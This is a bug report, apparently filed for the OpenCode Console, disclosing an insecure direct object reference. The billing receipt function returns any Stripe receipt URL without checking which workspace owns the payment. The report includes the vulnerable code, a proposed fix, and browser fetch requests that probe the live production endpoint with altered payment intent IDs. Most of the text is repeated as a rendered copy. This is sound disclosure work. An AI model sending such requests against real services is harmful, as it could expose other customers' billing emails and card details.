Description
Billing.generateReceiptUrl accepts a caller-supplied paymentID and immediately calls Stripe to retrieve the payment intent and return the receipt URL without first verifying that the payment belongs to the caller's workspace.
// packages/console/core/src/billing.ts
export const generateReceiptUrl = fn(
z.object({ paymentID: z.string() }),
async ({ paymentID }) => {
// No ownership check here.
const intent = await Billing.stripe().paymentIntents.retrieve(paymentID)
const charge = await Billing.stripe().charges.retrieve(intent.latest_charge as string)
return charge.receipt_url // ← returned to any caller
},
)
This function is called from a server action in the billing page (packages/console/app/src/routes/workspace/[id]/billing/payment-section.tsx:26). Any authenticated OpenCode user who knows (or guesses) a Stripe payment intent ID belonging to a different workspace can call this action and receive that workspace's Stripe receipt URL.
Stripe receipts contain the billing email address, last 4 digits of the card, amount charged, and transaction date. This is considered a Direct Object Reference (IDOR): authentication exists, but authorization is missing.
Fix: Before calling Stripe, look up the payment in PaymentTable filtered by both paymentID and workspaceID = Actor.workspace(). Throw if the record is not found.
Plugins
No response
OpenCode version
No response
Steps to reproduce
Run from browser DevTools while logged in to the OpenCode Console:
// Step 1: normal request — returns your real receipt URL
fetch("https://opencode.ai/_server", {
method: "POST",
headers: {
"content-type": "application/json",
"x-server-id": "...",
"x-server-instance": "server-fn:0",
"x-single-flight": "true"
},
body: JSON.stringify({
t: {t: 9, i: 0, l: 2, a: [
{t: 1, s: "wrk_<your real workspace>"},
{t: 1, s: "pi_<your real payment intent>"}
], o: 0},
f: 31, m: []
}),
credentials: "include"
}).then(r => r.text()).then(console.log)
// → returns pay.stripe.com/receipts/... ✓
// Step 2: same workspace, modified pi_ (one char changed)
fetch("https://opencode.ai/_server", {
method: "POST",
headers: {
"content-type": "application/json",
"x-server-id": "...",
"x-server-instance": "server-fn:0",
"x-single-flight": "true"
},
body: JSON.stringify({
t: {t: 9, i: 0, l: 2, a: [
{t: 1, s: "wrk_<your real workspace>"},
{t: 1, s: "pi_<modify one char of your real pi_>"}
], o: 0},
f: 31, m: []
}),
credentials: "include"
}).then(r => r.text()).then(console.log)
// → StripeInvalidRequestError: "No such payment_intent: '...'"
Step 2 proves the server reaches Stripe before any ownership check. A proper guard would return "Payment not found" from the application before Stripe is contacted. With a real pi_ from another workspace, the server would return that workspace's receipt URL — exposing their billing email, card last 4, amount, and transaction date.
Screenshot and/or share link
No response
Operating System
No response
Terminal
No response
Description
Billing.generateReceiptUrlaccepts a caller-suppliedpaymentIDand immediately calls Stripe to retrieve the payment intent and return the receipt URL without first verifying that the payment belongs to the caller's workspace.This function is called from a server action in the billing page (
packages/console/app/src/routes/workspace/[id]/billing/payment-section.tsx:26). Any authenticated OpenCode user who knows (or guesses) a Stripe payment intent ID belonging to a different workspace can call this action and receive that workspace's Stripe receipt URL.Stripe receipts contain the billing email address, last 4 digits of the card, amount charged, and transaction date. This is considered a Direct Object Reference (IDOR): authentication exists, but authorization is missing.
Fix: Before calling Stripe, look up the payment in
PaymentTablefiltered by bothpaymentIDandworkspaceID = Actor.workspace(). Throw if the record is not found.Plugins
No response
OpenCode version
No response
Steps to reproduce
Run from browser DevTools while logged in to the OpenCode Console:
Step 2 proves the server reaches Stripe before any ownership check. A proper guard would return
"Payment not found"from the application before Stripe is contacted. With a realpi_from another workspace, the server would return that workspace's receipt URL — exposing their billing email, card last 4, amount, and transaction date.Screenshot and/or share link
No response
Operating System
No response
Terminal
No response